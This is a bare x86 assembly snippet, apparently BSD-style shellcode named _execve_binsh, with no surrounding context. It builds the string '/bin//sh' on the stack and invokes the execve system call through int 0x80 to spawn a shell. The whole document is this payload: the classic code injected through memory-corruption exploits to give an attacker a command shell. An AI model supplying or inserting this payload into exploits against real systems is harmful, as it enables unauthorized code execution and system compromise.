_execve_binsh: xor eax, eax push eax ; "\0\0\0\0" push 0x68732f2f ; "//sh" push 0x6e69622f ; "/bin" mov ebx, esp push eax ; envp push eax ; argv push ebx ; path push eax ; spacer mov al, 59 ; SYS_execve int 0x80